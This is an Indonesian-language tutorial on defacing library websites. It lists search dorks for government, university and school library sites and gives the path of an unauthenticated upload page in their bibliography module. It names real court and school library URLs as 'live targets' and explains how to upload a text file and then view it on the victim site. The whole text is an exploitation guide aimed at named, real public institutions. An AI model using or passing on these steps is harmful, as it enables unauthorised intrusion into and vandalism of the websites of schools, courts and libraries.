Deface repository file attacment

deface repository file attachment

Welcome 
Kali ini saya akan memberikan tutorial deface 
Repository file attacment
Simak aja tutorial berikut 

##Bahan-Bahan##

-dork 

-sc dengan ext .txt

-ketamvanan paling utama:v

##Dork##

- pustaka.*.go.id

- pustaka.*. ac.id

- pustaka.*.sch.id 

- pustaka*.com

##exploit##

/admin/modules/bibliography/pop_attach.php

1. Dorking dulu di gogle pake Dork di atas atau pake live target yg w kasih

##Live Target##

http://perpustakaan.pn-brebes.go.id
http://perpustakaan.pa-palu.go.id
http://perpus8.sman8jkt.sch.id
http://library.smactf.sch.id

2. Masukin Exploit nya site.com/admin/modules/bibliography/pop_attach.php

Contoh: http://library.smactf.sch.id/admin/modules/bibliography/pop_attach.php

3. Kalo vuln bakalan langsung kaya gitu , isi asal asalan aja trs up file.txt lu

4. Cara manggil file lu site.com/repository/file.txt

Contoh: http://library.smactf.sch.id/repository/tetew.txt

Oke segini aja tutor kali ini , thanks